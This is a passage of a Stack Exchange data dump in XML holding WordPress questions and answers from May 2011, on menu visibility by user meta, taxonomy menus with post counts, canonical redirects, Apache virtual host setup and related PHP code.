  <row Id="18488" PostTypeId="2" ParentId="18484" CreationDate="2011-05-27T16:15:41.090" Score="0" ViewCount="" Body="&lt;p&gt;You can do this with &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;the Taxonomy Drill-Down plugin&lt;/a&gt;. Depending on your configuration, it might be better to create multiple taxonomies: one for brands, one for features, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://s.wordpress.org/extend/plugins/query-multiple-taxonomies/screenshot-1.png?r=389850&quot; alt=&quot;Drill-down navigation widgets&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T16:15:41.090" />
  <row Id="18489" PostTypeId="2" ParentId="18474" CreationDate="2011-05-27T16:34:45.707" Score="0" ViewCount="" Body="&lt;p&gt;try and add  &lt;code&gt;global $post;&lt;/code&gt; direct inside your function.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-05-27T16:34:45.707" CommentCount="1" />
  <row Id="18490" PostTypeId="1" CreationDate="2011-05-27T16:40:27.943" Score="0" ViewCount="188" Body="&lt;p&gt;I'm trying to hide a navigation menu item under certain circumstances. Specifically, if a user is logged in AND has already registered their product bar code, I want to hide the 'Register Kit' link (which has a class of 'ac-regkit').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the PHP I've added to the head section of header.php, just before wp_head();. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* If User is loggied in, hide LOG IN and SIGN UP links */&#xA;&amp;lt;?php if ( is_user_logged_in() ) { ?&amp;gt;&#xA;    &amp;lt;style&amp;gt;&#xA;        .ac-login { display: none; }&#xA;        .ac-signup { display: none; }&#xA;    &amp;lt;/style&amp;gt;&#xA;&#xA;    /*If user has not yet registered their DNA Test Kit, show link */&#xA;    &amp;lt;?php&#xA;        $current_user = wp_get_current_user();&#xA;        $user_id = $current_user;&#xA;        $key = 'redeem_code';&#xA;        $single = true;&#xA;        $ac-barcode = wp_get_user_meta( $user_id, $key, $single);&#xA;        if ( $ac-barcode = '' ) { ?&amp;gt;&#xA;        &amp;lt;style&amp;gt;&#xA;            .ac-regkit { display: inline; font-weight: bold; }&#xA;            .ac-regkit a { color: red; }&#xA;        &amp;lt;/style&amp;gt;&#xA;    &amp;lt;?php }; ?&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the error I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Server Error&lt;/strong&gt;&#xA;  The website encountered an error while retrieving &#xA;  &lt;a href=&quot;http://athleticode.com/&quot; rel=&quot;nofollow&quot;&gt;http://athleticode.com/&lt;/a&gt;. It may be down for maintenance&#xA;  or configured incorrectly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not an expert in PHP, so I'm sure it's a syntax error or something like that -- and there is probably a better way to achieve this result -- so any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5750" LastActivityDate="2011-08-26T16:35:07.147" Title="Hide a nav menu item based on get_user_meta results" Tags="&lt;php&gt;&lt;conditional-content&gt;&lt;usermeta&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="18491" PostTypeId="2" ParentId="18490" CreationDate="2011-05-27T16:51:24.413" Score="0" ViewCount="" Body="&lt;p&gt;I'd have 2 menus, and show the 2nd only if the user meet criteria. Then, use CSS to show both menus like its only one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's the easiest way. And you have the benefit that the items aren't really there, not just hidden.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-27T16:51:24.413" CommentCount="7" />
  <row Id="18492" PostTypeId="1" CreationDate="2011-05-27T17:13:51.983" Score="2" ViewCount="54" Body="&lt;p&gt;How can I avoid wordpress stripping HTML content from a custom PAGE?&lt;/p&gt;&#xA;" OwnerUserId="5751" LastActivityDate="2011-05-27T18:47:55.950" Title="I made a custom page but Wordpress seems to strip any HTML I put in this page" Tags="&lt;pages&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="18493" PostTypeId="2" ParentId="18492" CreationDate="2011-05-27T17:47:09.083" Score="1" ViewCount="" Body="&lt;p&gt;Use the &lt;strong&gt;HTML Editor&lt;/strong&gt; &lt;em&gt;instead&lt;/em&gt; of the WYSIWYG&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/YXohv.png&quot; alt=&quot;The Html Editor&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-27T17:47:09.083" CommentCount="2" />
  <row Id="18494" PostTypeId="2" ParentId="18490" CreationDate="2011-05-27T17:51:22.590" Score="0" ViewCount="" Body="&lt;p&gt;In case this was your real code and not just an example, replace it with the following one. Btw: &lt;a href=&quot;http://htmlhelp.com/reference/wilbur/misc/comment.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;&amp;lt;!-- this is a html comment --&amp;gt;&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.tizag.com/phpT/comment.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;&amp;lt;?php /* this is */ # like this or // that a php comment ?&amp;gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;// Note: I moved all php-Comments inside the php tags. &#xA;/* If User is loggied in, hide LOG IN and SIGN UP links */&#xA;if ( is_user_logged_in() ) &#xA;{ &#xA;?&amp;gt;&#xA;    &amp;lt;style&amp;gt;&#xA;        .ac-login { display: none; }&#xA;        .ac-signup { display: none; }&#xA;    &amp;lt;/style&amp;gt;&#xA;&#xA;    &amp;lt;?php&#xA;    /* If user has not yet registered their DNA Test Kit, show link */&#xA;        $current_user = get_currentuserinfo(); // THIS IS THE FUNCTION YOU NEED&#xA;        $user_id = $current_user-&amp;gt;ID;&#xA;        $key = 'redeem_code';&#xA;        $single = true;&#xA;        $ac_barcode = wp_get_user_meta( $user_id, $key, $single);&#xA;        if ( empty( $ac_barcode ) ) { // YOU COULD TRY if ( ! $ac-barcode ) TOO&#xA;?&amp;gt;&#xA;        &amp;lt;style&amp;gt;&#xA;            .ac-regkit { display: inline; font-weight: bold; }&#xA;            .ac-regkit a { color: red; }&#xA;        &amp;lt;/style&amp;gt;&#xA;&amp;lt;?php &#xA;    } // removed &quot;;&quot;&#xA;}?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-28T12:02:55.940" LastActivityDate="2011-05-28T12:02:55.940" CommentCount="4" />
  <row Id="18495" PostTypeId="1" AcceptedAnswerId="18567" CreationDate="2011-05-27T17:53:37.220" Score="4" ViewCount="254" Body="&lt;p&gt;I'm using WordPress 3.1.3 and trying to make a &quot;product&quot; menu with post count in each category. Like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;New Cars (4)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BMW (2)&lt;/li&gt;&#xA;&lt;li&gt;Ford (1)&lt;/li&gt;&#xA;&lt;li&gt;Nissan (1)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Used Cars (10)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BMW (3)&lt;/li&gt;&#xA;&lt;li&gt;Ford (1)&lt;/li&gt;&#xA;&lt;li&gt;Nissan (6)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For this, I've created custom post type &lt;code&gt;Cars&lt;/code&gt; and taxonomies &lt;code&gt;Type&lt;/code&gt; and &lt;code&gt;Brand&lt;/code&gt;. Not sure if it the best way to do this, but here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $auto_types = get_terms('type', 'hide_empty=1'); ?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php foreach( $auto_types as $auto_type ) : ?&amp;gt;&#xA;  &amp;lt;li&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_term_link( $auto_type-&amp;gt;slug, 'type' ); ?&amp;gt;&quot;&amp;gt;&#xA;      &amp;lt;?php echo $auto_type-&amp;gt;name; ?&amp;gt; (&amp;lt;?php echo $auto_type-&amp;gt;count; ?&amp;gt;)&#xA;    &amp;lt;/a&amp;gt;&#xA;                &amp;lt;?php&#xA;                $terms = get_terms('brand');&#xA;                $count = count($terms);&#xA;                if($count &amp;gt; 0) :&#xA;                    ?&amp;gt;&#xA;                     &amp;lt;ul&amp;gt;&#xA;                        &amp;lt;?php foreach ($terms as $term) : ?&amp;gt; &#xA;&#xA;                        &amp;lt;li&amp;gt;&#xA;                            &amp;lt;a href=&quot;/?type=&amp;lt;?php echo $auto_type-&amp;gt;slug ?&amp;gt;&amp;amp;brand=&amp;lt;?php echo $term-&amp;gt;slug ?&amp;gt;&quot;&amp;gt;&#xA;                                    - - &amp;lt;?php echo $term-&amp;gt;name; ?&amp;gt; (&amp;lt;?php echo $term-&amp;gt;count; ?&amp;gt;)&#xA;                            &amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/li&amp;gt;&#xA;                        &amp;lt;?php endforeach ?&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;?php endif ?&amp;gt;&#xA;&#xA;    &amp;lt;/li&amp;gt;           &#xA;&amp;lt;?php endforeach ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;is this is a good way to do it?&lt;/li&gt;&#xA;&lt;li&gt;how do I filter post counts?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; - I've managed to solve my second problem, but i'm still not sure if it's a good way to do it. Here's new code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $auto_types = get_terms('type', 'hide_empty=1'); ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php foreach( $auto_types as $auto_type ) : ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;&amp;lt;?php echo get_term_link( $auto_type-&amp;gt;slug, 'type' ); ?&amp;gt;&quot;&amp;gt; &#xA;            &amp;lt;?php echo $auto_type-&amp;gt;name; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php $auto_brands = get_terms('brand', 'parent=0' ); ?&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;                &amp;lt;?php foreach ($auto_brands as $auto_brand) : ?&amp;gt;&#xA;                    &amp;lt;?php $brand_filter['tax_query'] = array(&#xA;                            'relation' =&amp;gt; 'AND',&#xA;                            array(&#xA;                                'taxonomy' =&amp;gt; 'type',&#xA;                                'terms' =&amp;gt; array($auto_type-&amp;gt;slug),&#xA;                                'field' =&amp;gt; 'slug',&#xA;                            ),&#xA;                            array(&#xA;                                'taxonomy' =&amp;gt; 'brand',&#xA;                                'terms' =&amp;gt; array($auto_brand-&amp;gt;slug),&#xA;                                'field' =&amp;gt; 'slug',&#xA;                            ),&#xA;                        );&#xA;                    $tax_query = new WP_Query($brand_filter);&#xA;                        $count = 0;&#xA;                    if ( $tax_query-&amp;gt;have_posts() ) : while ( $tax_query-&amp;gt;have_posts() ) : $tax_query-&amp;gt;the_post();&#xA;                        $count++;&#xA;                    endwhile; endif; wp_reset_postdata();&#xA;                        if ( $count &amp;gt; 0 ) : ?&amp;gt;&#xA;                            &amp;lt;li&amp;gt;&#xA;                                &amp;lt;a href=&quot;/?type=&amp;lt;?php echo $auto_type-&amp;gt;slug ?&amp;gt;&amp;amp;brand=&amp;lt;?php echo $auto_brand-&amp;gt;slug ?&amp;gt;&quot;&amp;gt;&#xA;                                    - - &amp;lt;?php echo $auto_brand-&amp;gt;name; ?&amp;gt; (&amp;lt;?php echo $count; ?&amp;gt;)&#xA;                                &amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;                &amp;lt;?php endif; endforeach ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;                 &#xA;        &amp;lt;/li&amp;gt;           &#xA;    &amp;lt;?php endforeach ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2&lt;/strong&gt; - Changed &lt;code&gt;query_posts()&lt;/code&gt; method to &lt;code&gt;wp_query()&lt;/code&gt; (thanks to VicePrez), but is it efficient to use query to only get correct post count or there's a better way to make this menu?&lt;/p&gt;&#xA;" OwnerUserId="5744" LastEditorUserId="5744" LastEditorDisplayName="" LastEditDate="2011-05-28T15:57:16.220" LastActivityDate="2011-06-02T20:26:34.230" Title="Taxonomy menu with post count and multiple parents" Tags="&lt;custom-taxonomy&gt;&lt;custom-menus&gt;&lt;multi-taxonomy-query&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="18496" PostTypeId="2" ParentId="18458" CreationDate="2011-05-27T17:58:16.173" Score="0" ViewCount="" Body="&lt;p&gt;Try creating a new gmail account first, and then try to sign up for and use feedburner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've got the second part exactly right :)&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-27T17:58:16.173" CommentCount="1" />
  <row Id="18497" PostTypeId="1" AcceptedAnswerId="18499" CreationDate="2011-05-27T18:02:40.990" Score="0" ViewCount="159" Body="&lt;p&gt;I think this is a fairly simple issue but I haven't got my head around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question: how do I get my custom posts to show only on the category archives, but not in the blog post listing page?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background: I have a custom post type &quot;video&quot;, with has_archive true and 'taxonomies' =&gt; array('category', 'post_tag') - I want to use standard categories with this custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have successfully got my category pages to display by setting post_type and using the hook pre_get_posts as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_query_post_type($query) {&#xA;    if ( is_home() &amp;amp;&amp;amp; false == $query-&amp;gt;query_vars['suppress_filters'] )&#xA;        $query-&amp;gt;set( 'post_type', array( 'post', 'video', 'attachment' ) );&#xA;    return $query;&#xA;}&#xA;add_filter('pre_get_posts', 'my_query_post_type');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I don't use pre_get_posts, then my videos don't show - as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, now my blog post listing page shows the custom posts - as expected because I've changed the post_type in query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question: how do I get my custom posts to show only on the category archives, but not in the blog post listing page?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4642" LastActivityDate="2011-05-27T18:15:46.710" Title="Displaying custom post type on category pages but not on blog listings" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;pre-get-posts&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18498" PostTypeId="2" ParentId="17350" CreationDate="2011-05-27T18:10:10.927" Score="2" ViewCount="" Body="&lt;p&gt;See Codex for running a development copy of wordpress. You can make all the changes you want on the blog without affecting the production site by testing out new themes/etc which is what it seems like you're looking to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Running_a_Development_Copy_of_WordPress#WordPress_2.7_-_3.0&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Running_a_Development_Copy_of_WordPress#WordPress_2.7_-_3.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5753" LastActivityDate="2011-05-27T18:10:10.927" CommentCount="1" />
  <row Id="18499" PostTypeId="2" ParentId="18497" CreationDate="2011-05-27T18:15:46.710" Score="2" ViewCount="" Body="&lt;p&gt;This may be overly simplistic, but have you tried changing &lt;code&gt;is_home()&lt;/code&gt; to &lt;code&gt;is_category()&lt;/code&gt;, in this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_home() &amp;amp;&amp;amp; false == $query-&amp;gt;query_vars['suppress_filters'] )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i.e. change it to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_category() &amp;amp;&amp;amp; false == $query-&amp;gt;query_vars['suppress_filters'] )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Worth a shot, anyway...&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-05-27T18:15:46.710" CommentCount="1" />
  <row Id="18500" PostTypeId="2" ParentId="18492" CreationDate="2011-05-27T18:47:55.950" Score="1" ViewCount="" Body="&lt;p&gt;Annoyingly, anytime you go to the WSYIWYG editor, it tends to strip out certain changes, so you need to stay in the HTML editor. &lt;/p&gt;&#xA;" OwnerUserId="5755" LastActivityDate="2011-05-27T18:47:55.950" CommentCount="1" />
  <row Id="18501" PostTypeId="2" ParentId="18475" CreationDate="2011-05-27T19:20:54.690" Score="1" ViewCount="" Body="&lt;p&gt;Hook &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/save_post&quot; rel=&quot;nofollow&quot;&gt;save_post&lt;/a&gt; and add the post format if the post is for that category.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(save_post) Runs whenever a post or page is&#xA;  created or updated, which could be&#xA;  from an import, post/page edit form,&#xA;  xmlrpc, or post by email.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-27T19:20:54.690" CommentCount="1" />
  <row Id="18502" PostTypeId="2" ParentId="18110" CreationDate="2011-05-27T19:21:07.667" Score="2" ViewCount="" Body="&lt;p&gt;This is done by &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/canonical.php#L381&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;redirect_guess_404_permalink()&lt;/code&gt;&lt;/a&gt;, which &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/canonical.php#L83&quot; rel=&quot;nofollow&quot;&gt;is called from &lt;code&gt;redirect_canonical()&lt;/code&gt;&lt;/a&gt;. &lt;code&gt;redirect_canonical()&lt;/code&gt; does more than just this: it makes sure you are always using a single canonical URL for an item, it will add slashes, force the same domain name, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can either unhook &lt;code&gt;redirect_canoncial&lt;/code&gt; so it does nothing, or you can hook into it and prevent redirection when it is a 404:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Disable redirect_canonical()&#xA;add_action( 'init', 'wpse18110_init' );&#xA;function wpse18110_init()&#xA;{&#xA;    remove_action( 'template_redirect', 'redirect_canonical' );&#xA;}&#xA;&#xA;// Only prevent redirect on 404&#xA;add_filter( 'redirect_canonical', 'wpse18110_redirect_canonical' );&#xA;function wpse18110_redirect_canonical( $redirect_url )&#xA;{&#xA;    if ( is_404() ) {&#xA;        return false;&#xA;    }&#xA;    return $redirect_url;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T19:21:07.667" CommentCount="1" />
  <row Id="18503" PostTypeId="1" CreationDate="2011-05-27T19:44:45.287" Score="-2" ViewCount="25" Body="&lt;p&gt;I am using Ubuntu Server 10.04.02 LTS to host my WordPress, which version is 2.9.2. The problem is, after rebooting the server and loading my homepage of WordPress, the style of my blog was just missing, and all permalinks could not be loaded, even /wp-admin! However, after restarting apache2 with sudo service apache2 restart, they just all came back!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please help me troubleshoot the problem? Your help will be greatly appreciated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;&lt;/p&gt;  &#xA;&#xA;&lt;h2&gt;Updated: Solution&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Replace &lt;code&gt;&amp;lt;VitualHost my.domain.com:80&amp;gt;&lt;/code&gt; with &lt;code&gt;&amp;lt;VirtualHost *:80&amp;gt;&lt;/code&gt; in &lt;code&gt;apache2/sites-available/virtualhostfile&lt;/code&gt; then reload apache2. That's it :) &lt;/p&gt;&#xA;" OwnerUserId="5756" LastEditorUserId="5756" LastEditorDisplayName="" LastEditDate="2011-05-27T21:07:41.380" LastActivityDate="2011-06-26T22:17:51.203" Title="Problems loading stylesheet and permalinks after rebooting" Tags="&lt;permalinks&gt;&lt;stylesheet&gt;&lt;apache&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18504" PostTypeId="2" ParentId="18068" CreationDate="2011-05-27T19:45:08.297" Score="1" ViewCount="" Body="&lt;p&gt;You can do this with different custom post types (one for computers, one for TVs, ...), but this brings with it some restrictions: it will be difficult to mix different post types with the same URL prefix for example (so you can't have both &lt;code&gt;example.com/products/my-computer/&lt;/code&gt; and &lt;code&gt;example.com/products/my-tv/&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative is to use categories, but then you will have to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14403/force-category-choice-before-creating-new-post&quot;&gt;choose the category before you create the real post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After this you have to set up the actual custom fields. The code to do this is not very difficult, and there are plugins that can help you set them up, like &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-metadata/&quot; rel=&quot;nofollow&quot;&gt;Custom Metadata Manager&lt;/a&gt;. If you figure out how to add one custom field you can figure out how to add one hundred of them too!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes the custom field list is fixed. If it is not you will need to find a way to manage the custom field list so an admin can add them via a GUI. There are plugins that do this too, but I don't have much experience with them and thus can't recommend any.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T19:45:08.297" CommentCount="2" />
  <row Id="18505" PostTypeId="1" CreationDate="2011-05-27T19:52:58.483" Score="0" ViewCount="45" Body="&lt;p&gt;I am experimenting with the &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot; rel=&quot;nofollow&quot;&gt;Redirection plugin&lt;/a&gt; and I really like it so far, but I can't figure out how automatic redirections work. If you go to the options section there is this section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL Monitoring - You can have Redirection detect changes in URLs and have an automatic redirection created in a specific group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't seem to trigger this. What I would expect is that manually modifying the slug or changing my permalink structure would trigger the creation of the automatic redirects. However this doesn't happen. Does anyone have experience with this plugin?&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-08-28T23:36:14.110" Title="How does automatic redirection for the redirection plugin work?" Tags="&lt;plugins&gt;&lt;redirect&gt;&lt;plugin-redirection&gt;" AnswerCount="1" />
  <row Id="18506" PostTypeId="2" ParentId="18503" CreationDate="2011-05-27T19:58:09.043" Score="0" ViewCount="" Body="&lt;p&gt;It sounds like your not starting Apache properly either way this sounds like a server issue not Wordpress&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-27T19:58:09.043" CommentCount="2" />
  <row Id="18507" PostTypeId="1" CreationDate="2011-05-27T20:00:21.843" Score="0" ViewCount="17" Body="&lt;p&gt;am trying to redirect the page using a header location, but it seems using the header function inside a function causes the problem cannot modify header info, any ideas ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS : i've already cleared white spaces, new lines and such things before asking&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2011-05-27T20:00:21.843" Title="can't modify header info inside a function" Tags="&lt;php&gt;&lt;functions&gt;&lt;redirect&gt;&lt;header&gt;" />
  <row Id="18508" PostTypeId="2" ParentId="18458" CreationDate="2011-05-27T20:01:51.273" Score="0" ViewCount="" Body="&lt;p&gt;Create your Google account first.  then login to feedburner. And yes your second part is right&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-27T20:01:51.273" CommentCount="2" />
  <row Id="18509" PostTypeId="2" ParentId="18008" CreationDate="2011-05-27T20:04:36.713" Score="1" ViewCount="" Body="&lt;p&gt;The communication with the server happens via Ajax. I once wrote &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3610/how-to-manage-ajax-calls-and-json-in-wordpress/3612#3612&quot;&gt;a high-level overview of Ajax in WordPress&lt;/a&gt;, but you can find many more examples &lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/ajax&quot;&gt;on this site&lt;/a&gt; and around the web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, you have to do a query that will find similar titles. I found some questions that might help you on Stack Overflow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/3169933/suggestion-for-finding-similar-rows-in-mysql&quot;&gt;Suggestion For Finding Similar Rows In Mysql&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/3741713/display-similar-results-from-mysql&quot;&gt;Display similar results from mySQL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/614358/is-full-text-search-the-answer&quot;&gt;Is Full Text search the answer?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T20:04:36.713" />
  <row Id="18510" PostTypeId="2" ParentId="17994" CreationDate="2011-05-27T20:20:25.343" Score="1" ViewCount="" Body="&lt;p&gt;You pasted this in the regular post editor, where you also type your post content? This will not work, the editor filters out invalid HTML, like Javascript. I recommend you install one of the numerous slider gallery plugins and add your images via the existing gallery functionality.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T20:20:25.343" CommentCount="1" />
  <row Id="18511" PostTypeId="2" ParentId="18505" CreationDate="2011-05-27T20:23:37.877" Score="1" ViewCount="" Body="&lt;p&gt;Check redirection/models/monitor.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's pretty simple to follow whats doing.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-27T20:23:37.877" />
  <row Id="18512" PostTypeId="1" CreationDate="2011-05-27T20:34:00.603" Score="0" ViewCount="87" Body="&lt;p&gt;I'm building a website from scratch (PHP, jQuery) and want to have full control over the design, implementation, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to install Wordpress so that when you go to a certain section of the site, the blog link in the menu bar, it takes you to root/blog/ but I don't want to have to use a template and design the rest of the site around it.&lt;br&gt;&#xA;Obviously, I don't want the blog pages' design to be uniform with the rest of the site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surely this is possible right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, then I'll settle for suggestions on a different, more appropriate technology but I think this should be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;br&gt;&#xA;Is there is a way to set it up so that the user would use the wordpress.com site for admin and I simply integrate it with a PHP API. That would be fine also&lt;/p&gt;&#xA;" OwnerUserId="5758" LastEditorUserId="5758" LastEditorDisplayName="" LastEditDate="2011-05-27T20:49:13.607" LastActivityDate="2011-08-26T01:34:55.740" Title="Can I install/embed Wordpress on a 'single page'?" Tags="&lt;php&gt;&lt;customization&gt;&lt;css&gt;&lt;page-template&gt;&lt;blog-page&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="18513" PostTypeId="2" ParentId="17947" CreationDate="2011-05-27T20:40:22.153" Score="1" ViewCount="" Body="&lt;p&gt;The tags that are allowed in comments are stored in &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/kses.php#L397&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;$allowedtags&lt;/code&gt; global variable&lt;/a&gt;. You can try adding elements to that list (the key is the tag name, the value is an array of allowed attributes). If you have problems with the timing you can play with &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/kses.php#L34&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;CUSTOM_TAGS&lt;/code&gt; global variable&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T20:40:22.153" />
  <row Id="18514" PostTypeId="2" ParentId="12201" CreationDate="2011-05-27T20:41:11.893" Score="0" ViewCount="" Body="&lt;p&gt;Just a few days ago I bookmarked &lt;a href=&quot;http://scottbasgaard.com/2011/03/multisite-taxonomy-sync-updates-to-my-multisite-category-sync-plugin/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Didn't get to try it yet. So if you do it, please share your experience.&lt;/p&gt;&#xA;" OwnerUserId="5223" LastActivityDate="2011-05-27T20:41:11.893" />
